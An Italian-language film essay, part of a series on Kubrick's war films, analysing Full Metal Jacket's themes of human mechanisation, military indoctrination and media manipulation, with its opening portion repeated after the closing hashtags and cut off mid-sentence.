Due anni dopo la realizzazione di Shining, del 1980, l’attenzione di Stanley Kubrick ricade sul racconto The Short Timers di Gustav Hasford, in cui alcuni giovani marines vengono addestrati in un campo di addestramento per poi essere mandati in Vietnam a combattere. Affascinato dai vari risvolti della storia («Quando ho letto il libro ho trovato irresistibili l’originalità, la bellezza dello stile, la semplicità», ha detto il regista), Kubrick acquistò i diritti del libro, cominciando così a lavorare alla sceneggiatura di Full Metal Jacket, uscito nel 1987. Michael Herr, co-sceneggiatore del film, ricorda lo scambio di battute tra lui e Kubrick alla “nascita” di Full Metal Jacket; il regista disse di voler fare un film di guerra, Herr gli fece notare che aveva già fatto Orizzonti di gloria, al che Kubrick rispose: «Quello è contro la guerra. Voglio fare un film di guerra solo per considerarne il soggetto, senza una posizione morale o politica, ma come fenomeno».Il termine “full metal jacket” (letteralmente “copertura piena di piombo”), che non compare in nessuna parte del racconto, descrive il rivestimento di un tipo di proiettile e in un certo senso richiama alla metaforica corazza di metallo (come quella degli automi) nella quale venivano avvolti i marines per essere trasformati in killer.
L’intenzione del regista, attraverso questo film, è di inserire alcuni temi già affrontati nelle sue opere precedenti in un contesto bellico moderno, come quello vietnamita: «Il Vietnam è stata probabilmente l’unica guerra dominata dai falchi intellettuali che manipolavano i fatti e perfezionavano la realtà, ingannando sia loro stessi che il pubblico».
Ma il tema che più di altri Kubrick intende affrontare con Full Metal Jacket è quello della “meccanizzazione” dell’uomo, ovvero del rendere automatico un qualcosa di naturale, un tema nel quale il regista si era addentrato esplicitamente, già dal titolo, in Arancia meccanica, nel 1971.
Le vicende di Full Metal Jacket si svolgono in due segmenti ben delineati: l’addestramento a Parris Island e il Vietnam. La scena d’apertura del film mostra un gruppo di ragazzi a cui stanno radendo a zero le teste: ci troviamo nel campo d’addestramento di Parris Island; il sergente istruttore Hartman si presenta ad un gruppo di reclute, destinate a diventare marines, “macchine da guerra”. Il linguaggio dell’istruttore è offensivo e osceno; egli mostra immediatamente tutta la sua severità nei confronti di chi non si è ancora inquadrato nella disciplina imposta dalla procedura militare. In questa fase iniziale di presentazione emergono i personaggi di Joker, un giovane dall’aria intellettuale e scherzosa, di Cowboy e in particolare di Palla di Lardo, un ragazzo goffo e imbranato, sul quale Hartman riversa tutta la sua crudele offensività. Le scene che seguono mostrano il training al quale vengono sottoposte le varie reclute, dove agli esercizi fisici si alternano fasi in cui l’istruttore cerca di plagiare le menti dei futuri soldati mediante riti collettivi inneggianti alla guerra e alle armi. Joker, nonostante i continui rimproveri subiti, diventa caposquadra, mentre Palla di Lardo, messo continuamente alla berlina, viene emarginato dai suoi stessi compagni di camerata, costretti da Hartman a pagare per ogni errore del loro compagno. Una notte il ragazzo subisce un pestaggio da parte di tutti gli altri soldati, Joker compreso (anche se inizialmente esitante); nei giorni seguenti Palla di Lardo mostra segni di instabilità, la sua “trasformazione” in macchina da guerra è quasi completa, per la soddisfazione del suo istruttore. L’ultima notte a Parris Island è però tragica: Palla di Lardo è sorpreso da Joker nel bagno mentre sta caricando il suo fucile con pallottole «blindatissime» (“full metal jacket” appunto); all’arrivo di Hartman il giovane gli spara e poi si uccide.
Una dissolvenza ci porta nel Vietnam; Joker è corrispondente di guerra per il giornale dell’esercito «Stars and Stripes». Durante l’offensiva del Tet, nella quale i vietcong attaccano l’esercito statunitense, Joker viene mandato al fronte a fare un reportage con il suo amico Rafterman. Qui ritrova il compagno di corso Cowboy e si unisce alla sua squadra; il gruppo riesce a liberare una città con poca difficoltà, l’entusiasmo aumenta con l’arrivo degli inviati televisivi che intervistano i vari marines. I soldati partono per una nuova missione verso la città di Hue, ma perdono l’orientamento e si ritrovano sotto il tiro di un cecchino, che uccide due di loro e in seguito lo stesso Cowboy. I rimanenti soldati individuano la posizione del cecchino e lo sorprendono alle spalle: si tratta di una giovane ragazza, alla quale Joker prova a sparare, non riuscendo poiché gli si inceppa il fucile. Mentre sta per essere ucciso, Rafterman giunge a salvarlo, sparando al cecchino; la ragazza è agonizzante, circondata dai soldati: Joker pone fine alle sofferenze della giovane, uccidendola. Il gruppo si allontana nella notte intonando il ritornello di Mickey Mouse.
Il tema kubrickiano che vediamo immediatamente riemergere in Full Metal Jacket è quello che mostra il sistema e la struttura dell’istituzione militare: «l’esercito affiora come struttura rigida e asettica, impersonale, funzionale; (…) una struttura violenta, costruzione ossessivamente minuziosa finalizzata alla distruzione e psicologicamente distruttrice e autodistruttrice di se stessa». Il fine dell’esercito si concentra quindi nella distruzione della personalità umana, con l’obiettivo di possedere il controllo assoluto sull’individuo, attraverso la sua “meccanizzazione”. Lo stesso Hartman, presentandosi alle reclute, sottolinea questo passaggio fondamentale da essere naturale a essere meccanico: «Se voi signorine finirete questo corso e se sopravviverete all’addestramento, sarete un’arma, sarete dispensatori di morte, pregherete per combattere». Ma trasformare uomini in armi è possibile? Secondo Stanley Kubrick la risposta è affermativa: «Sì, trasformare esseri umani in armi è possibile. Come dice il sergente nel mio film: “Un’arma è solo un utensile, è il cuore duro che uccide”» (nella versione italiana del film è in realtà tradotto: «Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide»). Il duro training al quale si sottopongono i soldati è finalizzato a distruggere la paura della morte e per distruggere questa è necessario distruggere la personalità: già nella primissima scena tale distruzione è inscritta nelle immagini dei giovani dal barbiere, dove vengono tutti quanti rasati a zero, primo elemento del processo di meccanizzazione ad accomunare i ragazzi, ognuno reso una sorta di “clone” dell’altro; in questa scena vediamo il barbiere militare “operare” sulle loro teste, quasi a presagire quel lavaggio del cervello al quale verranno sottoposti in seguito. In Full Metal Jacket: «il cervello è il vero campo di battaglia, il vero Vietnam, presupposto e posta in gioco della guerra. Parris Island è il luogo (isolano – isolato – isolante) del lavaggio del cervello e delle lavate di testa, è il luogo in cui s’interviene direttamente sulla testa»; non a caso sulla locandina del film è presente un elmetto, ovvero la “testa” del soldato.
Joker, voce narrante del film, descrive in poche parole il luogo in cui si trova: «Parris Island, Carolina del Sud, campo di addestramento reclute del corpo dei marines degli Stati Uniti. Corso di otto settimane per falsi duri e pazzi furiosi». In questa bipartizione la giovane recluta mostra la sua lucidità, autoescludendosi di fatto dalla categoria dei “pazzi furiosi” e inserendosi quindi in quella dei “falsi duri”. Joker per tutto il film non è altro che questo, poiché sembra sfuggire alla disumanizzazione della sua personalità: quando alla fine è chiamato alla battaglia, fallisce, perché in lui è ancora acceso il lume dell’umanità e dell’intelligenza, perché non è un vero killer e il suo primo omicidio è causato dalla compassione e non dall’odio. Di conseguenza va osservato come ne Il dottor Stranamore e in Orizzonti di gloria la follia della guerra fosse dovuta all’orgoglio e all’ambizione dei generali, in Full Metal Jacket, invece, si basa essenzialmente sul tentativo del soldato Joker di restare sano in un ambiente folle.
Come sottolinea Magnisi: «Tutto il primo atto della pellicola sarà una lunga introduzione (un vero addestramento anche per gli spettatori) alla sottocultura dei marines, osservata con iperrealismo clinico dall’occhio di Kubrick, all’interno di un’ossessione per la geometria e la regola, l’ordine e la disciplina». L’obiettivo dell’istruttore Hartman (peraltro interpretato da un vero istruttore dei marines, Lee Ermey) è standardizzare tutte le reclute secondo canoni prestabiliti, omogeneizzare il gruppo, escludendo ogni tipo di diversità, motivo per cui il soldato Palla di Lardo risulta il più difficile da “meccanizzare”, poiché la sua diversità è evidente nelle caratteristiche fisiche (la grassezza) e motorie (la goffaggine), che lo portano inevitabilmente ad essere il bersaglio prediletto del suo istruttore, che non risparmia oltraggi e offese per cercare di motivare (quindi standardizzare) il ragazzo: «Ma tu ci sei nato sotto forma di viscido sacco di merda, Palla di Lardo, o ci hai studiato per diventarlo? (…) Perché tu sei un ciccione ributtante e fai schifo, Palla di Lardo!».
Gli esercizi fisici, nonostante la durezza, risultano essere la parte d’addestramento più innocua e meno importante, è l’indottrinamento psicologico, invece, la parte fondamentale per plagiare le giovani reclute; il linguaggio usato da Hartman è esplicito e aggressivo, e le vittime di esso non possono che subirlo passivamente. L’istruttore cerca continuamente di costruire un rapporto di intimità e complicità tra la recluta ed il fucile, sottolineando l’importanza di questo connubio (ed è immediato il richiamo alle ispezioni del generale Mireau nelle trincee di Orizzonti di gloria): «Stanotte vi porterete a letto il vostro fucile e darete al vostro fucile un nome di ragazza, perché sarà quello l’unico buco che voialtri rimedierete qui dentro. (…) Siete sposati al fucile, quel coso fatto di legno e di ferro, e rimarrete fedeli soltanto a lui!». E ancora: «La più micidiale combinazione del mondo: un marine col suo fucile. Ma è sulla volontà di uccidere che bisogna concentrarsi. (…) Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide». Joker, in uno dei rari interventi della sua voce fuori campo, dice che: «Il corpo dei marines non vuole dei robot, il corpo dei marines vuole dei killer, il corpo dei marines mira a creare uomini indistruttibili, uomini senza paura»; per cancellare la paura della morte dai soldati, il sistema deve quindi cercare di vendere un’immortalità “a basso costo”: «Un marine può morire, siamo qui per questo, ma il corpo dei Marine vivrà per sempre e questo significa che voi vivrete per sempre», dice Hartman e tutte le marcette e i ritornelli che fa intonare ai suoi soldati non sono altro che un accumulo di elementi che rappresentano una procedura (per un istruttore militare è la prassi) che ha come fine ultimo quello di plagiare le menti delle reclute. Tra tante situazioni, è piuttosto eloquente in questo caso la preghiera che i soldati devono recitare, fucile in mano, prima di andare a dormire: «Questo è il mio fucile, ce ne sono tanti come lui, ma questo è il mio. Il mio fucile è il mio migliore amico, è la mia vita. Io devo dominarlo come domino la mia vita. Senza di me il mio fucile non è niente, senza il mio fucile io sono niente. Devo colpire il bersaglio; devo sparare meglio del mio nemico che cerca di ammazzare me. Devo sparare io prima che lui spari a me e lo farò. Al cospetto di Dio giuro su questo credo: il mio fucile e me stesso siamo i difensori della patria, siamo i dominatori dei nostri nemici, siamo i salvatori della nostra vita e così sia, finché non ci sarà più nemico, ma solo pace. Amen».
Un aspetto particolare che troviamo in Full Metal Jacket, ma che già abbiamo incontrato in Orizzonti di gloria, è il continuo tentativo della struttura militare di provare a piegare alla propria logica ogni tipo di azione ed ideologia, inglobandola nel proprio sistema: nella prima parte del film Joker dice al suo istruttore di non credere in Dio, nonostante le ripetute ed insistenti affermazioni del sergente riguardo al valore ideologico della religione cattolica; in un primo momento Hartman sembra infuriato, ma invece di punire il ragazzo lo nomina caposquadra, dicendo che: «Il soldato Joker è ignorante e senza dio, ma ha fegato e il fegato è tutto». In questo modo, come nota Eugeni, l’esercito dimostra: «la terribile capacità di ricondurre ai propri parametri ogni opposizione, non contrastandola, ma semplicemente privandola del proprio senso originario». Un comportamento simile lo aveva assunto anche Broulard in Orizzonti di gloria, ritenendo la nobile azione difensiva di Dax niente più che una tattica per ottenere una promozione. Inoltre, come abbiamo visto nelle pellicole trattate in precedenza, dove gli eserciti combattono e uccidono i loro stessi soldati, anche in Full Metal Jacket il sistema finisce per implodere, per combattere contro se stesso: gli sforzi fatti da Hartman per rendere Palla di Lardo un killer vengono “premiati” nel finale della prima macrosequenza del film, dove il soldato, divenuto una macchina impazzita (come il computer Hal in 2001), uccide il suo istruttore, divenendo di fatto il killer che il duro addestramento doveva creare: «Quando Palla di Lardo scarica su [Hartman] i suoi proiettili blindati, nessuno tira sospiri di sollievo, ma anzi si resta agghiacciati, perché è chiaro che la morte di Hartman lascia viva e intatta l’istituzione; non arriva ad espiazione di alcuna colpa, ma a conferma dell’efficacia di un insegnamento».
L’esperienza di Palla di Lardo incarna alla perfezione il tema dell’uomo come nemico di se stesso; già nelle prime scene del film l’ordine di Hartman alla sua recluta («strangolati da solo!», autocitando Stranamore) non era che il preludio all’omicidio-suicidio commesso dal soldato nell’ultima scena ambientata a Parris Island: «[Palla di Lardo] lobotomizzato da brutalità e umiliazioni, interiorizza la violenza dell’ambiente in cui è stato costretto a calarsi, discendendo nel cuore di tenebra della sua follia. (…) L’apprendista stregone Hartman è stato la vittima del suo Frankenstein che, come quella creatura riplasmata, rifiuta di vivere in questo mondo ultra-violento».
Qui si chiude la prima parte del film, quella dedicata alla fase di addestramento; a proposito di questa è interessante citare un articolo del 1987 comparso sui «Cahiers du Cinéma»: «I film di Kubrick descrivono il mondo come un cervello, inevitabilmente soggetto a disfunzioni (per ragioni a volte esterne, a volte interne). Full Metal Jacket illustra in modo ammirevole questa tesi. Il microcosmo del campo di addestramento di Parris Island in effetti è organizzato come un cervello composto da cellule umane che pensano e reagiscono nello stesso modo, fino a quando il suo buon funzionamento si disintegra: dall’interno nel momento in cui una cellula singola (Palla di Lardo) comincia ad eseguire inesorabilmente le direttive di istinto di morte che regolano l’organo nella sua interezza; dall’esterno con l’offensiva del Tet, rappresentazione esteriorizzata di un’identica forza».La morte di Palla di Lardo chiude il cerchio della violenza apertosi nel campo di addestramento, ma è solo il prologo alla guerra vera: terminata la rappresentazione dell’inferno interiore all’uomo (Parris Island), una breve dissolvenza ci porta nell’inferno esteriore, il Vietnam, che vede Joker come anello di congiunzione tra le due parti. Se nella prima grande sequenza la struttura dell’esercito costruisce i suoi killer, le sue macchine da guerra, mostrando la propria capacità di controllo sulle reclute (ad eccezione della “cellula impazzita” Palla di Lardo), la seconda parte del film svela la debolezza e la precarietà di questo processo di “meccanizzazione”; a contatto con la guerra saltano tutti i meccanismi di controllo e i suoi protagonisti si perdono: «La macchina militare si trova ad affrontare un territorio labirintico, complesso e smarrisce le coordinate: coordinate morali, coordinate militari (tutti i “gialli” possono essere nemici, il nemico non è più identificabile), coordinate fisiche (la pattuglia dispersa nello spazio labirintico di Hue)».
Il Vietnam di Kubrick è iconograficamente un Vietnam inedito: non ci sono le giungle che i viet-movie precedenti avevano mostrato al pubblico; il regista rifiuta di ambientare il film attorno ad uno stereotipo e sfrutta una fabbrica in disuso sulle rive del Tamigi per realizzare il “suo” Vietnam: «L’architettura degli stabilimenti dell’ex fabbrica era l’architettura funzionale degli anni Trenta, esattamente uguale a quella di quartieri industriali delle città vietnamite come Saigon o Hue. L’ambientazione si prestava idealmente al soggetto del film».
La prima scena, della parte ambientata in Vietnam, ci mostra subito Joker; di conseguenza lo spettatore mette a fuoco la sua figura come figura-chiave del film: qui ritroviamo il soldato nelle vesti di giornalista per «Stars and Stripes», nonostante la disapprovazione mostrata in precedenza a Parris Island da Hartman («Ti sei messo in testa di essere un cazzo di scrittore? (…) Non sei qui come scrittore, qui sei un killer!»). Nella redazione del giornale campeggia la scritta con il motto «First to go Last to know» (“primi ad andare, ultimi a sapere”), a sottolineare il fatto che la verità non era l’elemento primario di un giornale di guerra, che anzi doveva scrivere storie fasulle per accattivarsi il consenso dell’opinione pubblica sull’impiego dei soldati americani in Vietnam; a questo proposito è esemplare il discorso che il caporedattore di «Stars and Stripes» rivolge a Joker: «Noi pubblichiamo due tipi di storie: marines che spendono la paga per comprare ai gialli dentifrici e deodoranti, tipo “arte di sedurre i cuori”, okay? ..E storie di combattimenti con un sacco di morti, tipo “come vincere la guerra”». Lo stesso Kubrick ha spiegato come, quella del Vietnam, sia stata la prima guerra ad esser condotta negli Stati Uniti soprattutto come una campagna pubblicitaria: «La manipolazione della verità attraverso i mezzi di comunicazione di massa del governo fu uno degli obiettivi di questa campagna. Ciò ha condotto al fatto che l’opinione pubblica americana ha avuto un’immagine falsa e manipolata dell’intera guerra». Kubrick sapeva che il conflitto vietnamita era stato il primo ad essere seguito dai media televisivi, per questo non ha risparmiato nel film i riferimenti all’iconografia tracciata dagli stessi media: quando uno dei soldati, Animal Mother, domanda a Joker se avesse mai visto il fronte, questi gli risponde: «Accidenti se l’ho visto: in televisione»; o ancora il soldato Cowboy, quando in un’intervista televisiva parla della guerra: «Quando siamo a Hue, noi entriamo in città, no? E lì è proprio come una guerra, capito? Come quello che… quello che io pensavo che deve essere una guerra vera, come io pensavo, come io… come me l’ero immaginata»; di conseguenza: «La guerra è già vista, è già registrata nell’archivio mnemonico di chi vi combatte grazie a cinema e televisione». La presenza televisiva è in ogni dove, come i riferimenti dei soldati ai miti cinematografici americani, su tutti il genere western: Joker imita e cita più volte John Wayne, gli altri soldati paragonano i vietcong agli indiani, i “cattivi” per eccellenza nei western hollywoodiani del passato («Ma gli indiani chi li fa?» «Tocca ai musi gialli fare gli indiani»).
Dopo l’ennesima risposta beffarda rivolta al suo caporedattore, Joker viene spedito insieme a Rafterman (“l’uomo della zattera”, un richiamo a Fear and Desire) nella “zona calda”; è qui che incontra per la prima volta il reale orrore per la guerra, i suoi occhi si posano su una fossa comune e la sua indignazione lo porta ad una conclusione apparentemente ovvia («I morti sanno soltanto una cosa: che è meglio essere vivi»), ma che riassume appieno una delle verità che il regista vuole mostrare nella seconda parte del film: i soldati che vengono mandati a combattere in guerra, non lottano per niente se non per restare vivi, né per ideali né per fama quindi, ma solo per la sopravvivenza. Una verità che sottolinea il contesto mentale e non fisico del conflitto mostrato da Kubrick: «In guerra è meglio esser vivi che morti e tutto il resto non conta. Dirlo a parole è semplice, “spiegarlo” con un film molto difficile. Spiegarlo crudelmente e virilmente come fa Full Metal Jacket, poi, richiede un’estrema precisione di tono, perché l’orrore di Full Metal Jacket non è negli schizzi di sangue e negli arti amputati ma nella dimensione mentale del combattimento, nella meccanizzazione della barbarie: il prodotto coerente della propedeutica di Hartman». Subito dopo questa scena, troviamo un elemento fondamentale della seconda parte del film, ovvero la spiegazione che Joker fornisce ad un ufficiale, dopo che questi ha notato sull’uniforme del soldato la presenza del distintivo della pace e della scritta “Born to Kill” (“nato per uccidere”) sull’elmetto: «Io volevo soltanto fare riferimento alla dualità dell’essere umano, signore, l’ambiguità dell’uomo, una teoria junghiana, signore». È l’ennesimo sberleffo di un buffone (in inglese “joker”, per l’appunto) che cerca di contrastare gli orrori della guerra mediante l’ironia e lo scherzo, oppure si tratta del tentativo di un uomo di elevarsi e di differenziarsi da una massa di automi tutti uguali tra loro, tutti standardizzati, attraverso l’uso dell’intelletto e della cultura? Sembra che la risposta si trovi a metà strada tra le due parti: Joker da un lato si ribella al sistema (come Palla di Lardo anche lui è un personaggio diverso dalla massa, ma molto meno vulnerabile) grazie alla sua coscienza e alla sua personalità, ma dall’altro sa stare al gioco dell’istituzione militare, comportandosi da perfetto integrato (partecipa al pestaggio collettivo contro Palla di Lardo, afferma alla televisione di voler essere il primo ragazzo del suo palazzo «a fare centro dentro qualcuno»): «Joker ha un ruolo di focalizzatore omodiegetico assai marcato, ma spesso assente e in chiara distonia con quanto concretamente fatto dal personaggio. Egli alterna momenti di lucidità osservativa ad altri di complicità irriflessa».Lo stesso Kubrick spiega la presenza del distintivo della pace sull’uniforme del protagonista: «Si tratta di un simbolo che indica dualismo. Il soldato Joker dice infatti al suo superiore che gli chiede cosa voglia significare quel bottone: che gli esseri umani sono divisi fra odio e diffidenza da una parte, amicizia e disponibilità dall’altra». La dualità dell’essere umano evidenziata dal regista trova riscontro anche nei comportamenti degli altri personaggi: su tutti il soldato Animal Mother, presentato inizialmente come una sorta di Rambo dispensatore di morte (sul suo elmetto c’è scritto: “I am become death”, “sono diventato morte”), è colui che invece ha la lucidità di riconoscere che quella alla quale stanno assistendo in Vietnam è «una strage», inoltre contraddice gli ordini e si espone al fuoco del cecchino pur di andare a salvare i compagni feriti.
Kubrick, nella scena in cui l’ufficiale chiede spiegazioni a Joker, evidenzia la follia e l’ottusità delle alte sfere del sistema militare; la sua critica per questo tipo di personaggi si nota nella frase finale messa in bocca all’ufficiale in questione, che dice al soldato: «È un mondo spietato, figliolo, bisogna tener duro fino a quando non passerà questa mania della pace». Il regista sembra voler dire che quello al quale stiamo assistendo «è un universo alla rovescia, di pazzi al comando, con la voce pensante di Joker unico sguardo lucido. (…) Il Vietnam, come ogni guerra, è il regno del militarismo, l’obbligo dell’impiego universale della violenza come mezzo ai fini dello Stato»; un concetto di violenza gratuita che emerge dalle parole dei vari soldati, per esempio da quelle del capopattuglia di Cowboy, Crazy Earl: «Siamo i giganti verdi dei detersivi, solo che noi andiamo in giro a ripulire il mondo col mitra. Quelle che abbiamo fatto fuori oggi sono le persone più meravigliose del mondo: quando torneremo a casa di sicuro non troveremo più gente a cui valga la pena di sparare». La violenza è quindi l’unica realtà: «Gli uomini non possono governarla, sono loro a essere guidati dai processi conduttivi di quest’energia che hanno scatenato e che ora li sovrasta. Le battaglie non si decidono da uomini che calcolano e riflettono, ma tra soldati ormai depredati delle facoltà razionali, cieche forze che non sono che impeto. È il segreto ultimo della guerra: la riduzione della persona umana a materia inerte, dominata dall’istinto crudele della preda o del cacciatore».
Nell’ultima parte del film, la pattuglia si perde nello spazio labirintico di Hue, un corrispettivo fisico e spaziale della situazione interiore dei personaggi, che il regista ama spesso delineare nelle sue pellicole, da Fear in Desire, fino ad Eyes Wide Shut («Kubrick sembra interessato a offrire un ulteriore esempio di quella poetica della perdita di controllo sulle coordinate spaziali e temporali già operativa in gran parte della produzione filmica precedente»). In questo spazio, nel pieno dello smarrimento, un cecchino uccide prima il soldato Eightball, quindi Doc Jay, che era corso ad aiutare il compagno. Cowboy vuole far ripiegare il gruppo e abbandonare i compagni, ma Animal Mother si oppone e si lancia in avanti, riuscendo a far guadagnare terreno alla sua squadra: anche Cowboy però viene ucciso dal cecchino. Decisi nel voler vendicare i compagni, i rimanenti soldati si mettono alla ricerca del nemico; è Joker a trovarlo per primo e a scoprire che si tratta di una ragazzina armata. Il fucile del soldato si inceppa ed egli è costretto a rifugiarsi dietro ad una colonna, mentre le pallottole dell’avversaria si scagliano contro la sua postazione. Rafterman giunge sul posto e colpisce la ragazza, quindi si lascia andare ad urla di entusiasmo di fronte alla sua prima vittima: «Sono un duro, sono uno che fa fuori i nemici, sono un killer!». La ragazza però è ancora viva, agonizzante; Animal Mother intende lasciarla lì («Che marcisca qui»), mentre Joker vorrebbe aiutarla. Kubrick, dopo aver concesso a Joker la possibilità di uscire da ogni situazione precedente in modo ironico e sarcastico (conformemente al soprannome del soldato), in questa sequenza finale mette il suo protagonista faccia a faccia con l’orrore, con la possibilità di «far centro dentro qualcuno» che il soldato, sarcasticamente, aveva desiderato di avere. Joker dà il colpo di grazia alla ragazza, mosso da pietà, sicuramente, ma allo stesso tempo: «volente o nolente Joker si è trasformato in una killing machine: una piccola rotella senza volto nell’ingranaggio della morte. Hartman, probabilmente, sorride nella tomba. La tragica ironia finale di Full Metal Jacket è che la guerra ha preso in giro anche il suo giullare». Dopo questo “battesimo di morte”, Joker raggiunge gli altri soldati e si unisce alla marcia nell’oscurità; le sue ultime parole: «Sono proprio contento di essere vivo, tutto d’un pezzo, prossimo al congedo. Certo, vivo in un mondo di merda, questo sì, ma sono vivo e non ho più paura». Ora che non ha più paura, anche il soldato Joker, lo scrittore che difendeva la verità giornalistica, è divenuto una macchina per uccidere? Anche lui, l’intellettuale che citava Jung di fronte ai suoi superiori, ha raggiunto il suo punto di non ritorno, come avevano fatto in precedenza Palla di Lardo e Rafterman? In quest’ottica «Full Metal Jacket è un’opera disperata, dilaniata, che sancisce la fine di ogni residua illusione kubrickiana sulla natura dell’uomo e sulle sue possibilità di salvezza».
Tutti i marines si uniscono in un canto: intonano la Marcia di Topolino. Stavolta non si tratta del finale umanista di Orizzonti di gloria, ma di una regressione dei soldati allo stato infantile: «Quegli uomini in marcia, cui la guerra ha rivoluzionato ogni scala di valori, dei bambini condividono la crudeltà amorale, l’assenza di scrupoli etici, la aggressività necessaria, l’assenza di principi che non siano quelli naturali ed elementari, l’immunità da ogni ipocrisia; infine la noncuranza stessa della propria morte».Partono i titoli di coda, in contemporanea ai versi della splendida Paint it black (“dipingilo di nero”) dei Rolling Stones; Mick Jagger canta: «I see a red door and I want it painted black; no colors anymore I want them to turn black» (“vedo una porta rossa e voglio dipingerla di nero; non voglio più colori ma tutto dipinto di nero”), proprio quando le immagini sono finite e lo schermo è diventato nero; «It’s not easy facing up when your whole world is black» (“non è facile restare a testa alta quando il mondo intero è nero”); e ancora: «I look inside myself and see my heart is black» (“guardo dentro me stesso e vedo che il mio cuore è nero”). Il messaggio del pessimista Kubrick, anche durante i titoli di coda, è vivo, diretto, lucido, spietato e soprattutto definitivo.
[Se l’articolo ti è piaciuto, offrimi un caffè o magari una colazione,
una piccola mancia per aiutarmi a sostenere il sito!]#analisi #approfondimento #cinema #film #fullMetalJacket #kubrick #libro #storia #tesi
-
La Guerra secondo Kubrick (parte 6 di 8)
FULL METAL JACKET: LA “MECCANIZZAZIONE” DELL’UOMO
Due anni dopo la realizzazione di Shining, del 1980, l’attenzione di Stanley Kubrick ricade sul racconto The Short Timers di Gustav Hasford, in cui alcuni giovani marines vengono addestrati in un campo di addestramento per poi essere mandati in Vietnam a combattere. Affascinato dai vari risvolti della storia («Quando ho letto il libro ho trovato irresistibili l’originalità, la bellezza dello stile, la semplicità», ha detto il regista), Kubrick acquistò i diritti del libro, cominciando così a lavorare alla sceneggiatura di Full Metal Jacket, uscito nel 1987. Michael Herr, co-sceneggiatore del film, ricorda lo scambio di battute tra lui e Kubrick alla “nascita” di Full Metal Jacket; il regista disse di voler fare un film di guerra, Herr gli fece notare che aveva già fatto Orizzonti di gloria, al che Kubrick rispose: «Quello è contro la guerra. Voglio fare un film di guerra solo per considerarne il soggetto, senza una posizione morale o politica, ma come fenomeno».Il termine “full metal jacket” (letteralmente “copertura piena di piombo”), che non compare in nessuna parte del racconto, descrive il rivestimento di un tipo di proiettile e in un certo senso richiama alla metaforica corazza di metallo (come quella degli automi) nella quale venivano avvolti i marines per essere trasformati in killer.
L’intenzione del regista, attraverso questo film, è di inserire alcuni temi già affrontati nelle sue opere precedenti in un contesto bellico moderno, come quello vietnamita: «Il Vietnam è stata probabilmente l’unica guerra dominata dai falchi intellettuali che manipolavano i fatti e perfezionavano la realtà, ingannando sia loro stessi che il pubblico».
Ma il tema che più di altri Kubrick intende affrontare con Full Metal Jacket è quello della “meccanizzazione” dell’uomo, ovvero del rendere automatico un qualcosa di naturale, un tema nel quale il regista si era addentrato esplicitamente, già dal titolo, in Arancia meccanica, nel 1971.
Le vicende di Full Metal Jacket si svolgono in due segmenti ben delineati: l’addestramento a Parris Island e il Vietnam. La scena d’apertura del film mostra un gruppo di ragazzi a cui stanno radendo a zero le teste: ci troviamo nel campo d’addestramento di Parris Island; il sergente istruttore Hartman si presenta ad un gruppo di reclute, destinate a diventare marines, “macchine da guerra”. Il linguaggio dell’istruttore è offensivo e osceno; egli mostra immediatamente tutta la sua severità nei confronti di chi non si è ancora inquadrato nella disciplina imposta dalla procedura militare. In questa fase iniziale di presentazione emergono i personaggi di Joker, un giovane dall’aria intellettuale e scherzosa, di Cowboy e in particolare di Palla di Lardo, un ragazzo goffo e imbranato, sul quale Hartman riversa tutta la sua crudele offensività. Le scene che seguono mostrano il training al quale vengono sottoposte le varie reclute, dove agli esercizi fisici si alternano fasi in cui l’istruttore cerca di plagiare le menti dei futuri soldati mediante riti collettivi inneggianti alla guerra e alle armi. Joker, nonostante i continui rimproveri subiti, diventa caposquadra, mentre Palla di Lardo, messo continuamente alla berlina, viene emarginato dai suoi stessi compagni di camerata, costretti da Hartman a pagare per ogni errore del loro compagno. Una notte il ragazzo subisce un pestaggio da parte di tutti gli altri soldati, Joker compreso (anche se inizialmente esitante); nei giorni seguenti Palla di Lardo mostra segni di instabilità, la sua “trasformazione” in macchina da guerra è quasi completa, per la soddisfazione del suo istruttore. L’ultima notte a Parris Island è però tragica: Palla di Lardo è sorpreso da Joker nel bagno mentre sta caricando il suo fucile con pallottole «blindatissime» (“full metal jacket” appunto); all’arrivo di Hartman il giovane gli spara e poi si uccide.
Una dissolvenza ci porta nel Vietnam; Joker è corrispondente di guerra per il giornale dell’esercito «Stars and Stripes». Durante l’offensiva del Tet, nella quale i vietcong attaccano l’esercito statunitense, Joker viene mandato al fronte a fare un reportage con il suo amico Rafterman. Qui ritrova il compagno di corso Cowboy e si unisce alla sua squadra; il gruppo riesce a liberare una città con poca difficoltà, l’entusiasmo aumenta con l’arrivo degli inviati televisivi che intervistano i vari marines. I soldati partono per una nuova missione verso la città di Hue, ma perdono l’orientamento e si ritrovano sotto il tiro di un cecchino, che uccide due di loro e in seguito lo stesso Cowboy. I rimanenti soldati individuano la posizione del cecchino e lo sorprendono alle spalle: si tratta di una giovane ragazza, alla quale Joker prova a sparare, non riuscendo poiché gli si inceppa il fucile. Mentre sta per essere ucciso, Rafterman giunge a salvarlo, sparando al cecchino; la ragazza è agonizzante, circondata dai soldati: Joker pone fine alle sofferenze della giovane, uccidendola. Il gruppo si allontana nella notte intonando il ritornello di Mickey Mouse.
Il tema kubrickiano che vediamo immediatamente riemergere in Full Metal Jacket è quello che mostra il sistema e la struttura dell’istituzione militare: «l’esercito affiora come struttura rigida e asettica, impersonale, funzionale; (…) una struttura violenta, costruzione ossessivamente minuziosa finalizzata alla distruzione e psicologicamente distruttrice e autodistruttrice di se stessa». Il fine dell’esercito si concentra quindi nella distruzione della personalità umana, con l’obiettivo di possedere il controllo assoluto sull’individuo, attraverso la sua “meccanizzazione”. Lo stesso Hartman, presentandosi alle reclute, sottolinea questo passaggio fondamentale da essere naturale a essere meccanico: «Se voi signorine finirete questo corso e se sopravviverete all’addestramento, sarete un’arma, sarete dispensatori di morte, pregherete per combattere». Ma trasformare uomini in armi è possibile? Secondo Stanley Kubrick la risposta è affermativa: «Sì, trasformare esseri umani in armi è possibile. Come dice il sergente nel mio film: “Un’arma è solo un utensile, è il cuore duro che uccide”» (nella versione italiana del film è in realtà tradotto: «Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide»). Il duro training al quale si sottopongono i soldati è finalizzato a distruggere la paura della morte e per distruggere questa è necessario distruggere la personalità: già nella primissima scena tale distruzione è inscritta nelle immagini dei giovani dal barbiere, dove vengono tutti quanti rasati a zero, primo elemento del processo di meccanizzazione ad accomunare i ragazzi, ognuno reso una sorta di “clone” dell’altro; in questa scena vediamo il barbiere militare “operare” sulle loro teste, quasi a presagire quel lavaggio del cervello al quale verranno sottoposti in seguito. In Full 